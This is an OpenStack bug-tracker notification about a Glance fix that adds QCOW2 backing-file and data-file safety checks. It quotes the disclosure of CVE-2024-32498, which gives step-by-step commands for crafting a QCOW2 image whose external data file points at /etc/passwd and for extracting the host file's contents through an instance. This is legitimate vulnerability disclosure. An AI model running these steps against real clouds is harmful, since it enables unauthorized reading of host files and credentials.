[Bug 2059809] Related fix merged to glance (stable/2023.2)

[OpenStack Infra]

Reviewed:  https://review.opendev.org/c/openstack/glance/+/923267
Committed: https://opendev.org/openstack/glance/commit/733d771a73bffaf1501c7a1d91829646daf1372b
Submitter: "Zuul (22348)"
Branch:    stable/2023.2

commit 733d771a73bffaf1501c7a1d91829646daf1372b
Author: Dan Smith <dansmith at redhat.com>
Date:   Tue Apr 16 10:29:10 2024 -0700

    Extend format_inspector for QCOW safety
    
    This adds two properties to the QcowInspector that makes it able to
    indicate whether the file specifies a backing_file or data_file in the
    header. Both conditions are considered unsafe for our usage. To
    ease checking of this condition, a classmethod is added that takes
    a local filename and digests just enough of the file to assert that
    both conditions are false.
    
    Change-Id: Iaf86b525397d41bd116999cabe0954a0a7efac65
    Related-Bug: #2059809
    (cherry picked from commit ae536bb394793c9a7a219cb498e03d5c81dbbbb7)
    (cherry picked from commit 2eba54e0821106097dfeceb424e53943fd090483)

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https://bugs.launchpad.net/bugs/2059809

Title:
  [OSSA-2024-001] Arbitrary file access through QCOW2 external data file
  (CVE-2024-32498)

Status in Cinder:
  Fix Released
Status in Ubuntu Cloud Archive:
  Fix Committed
Status in Ubuntu Cloud Archive antelope series:
  Fix Committed
Status in Ubuntu Cloud Archive bobcat series:
  Fix Committed
Status in Ubuntu Cloud Archive caracal series:
  Fix Committed
Status in Ubuntu Cloud Archive ussuri series:
  Fix Committed
Status in Ubuntu Cloud Archive yoga series:
  Fix Committed
Status in Glance:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Security Advisory:
  Fix Released

Bug description:
  OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
  QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

  Steps to Reproduce:

  - Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
  - Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
  - Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
  - Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

  With the non-bootable instance there might be two ways to continue:

  Option 1:
  - Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
  - Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
  - The file content starts at guest cluster 0

  Option 2: (this is untested because I reproduced it only in a production system)
  - Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
  - Go to the Dashboard, open the console of the instance and login to the instance.
  - Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
  - It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.

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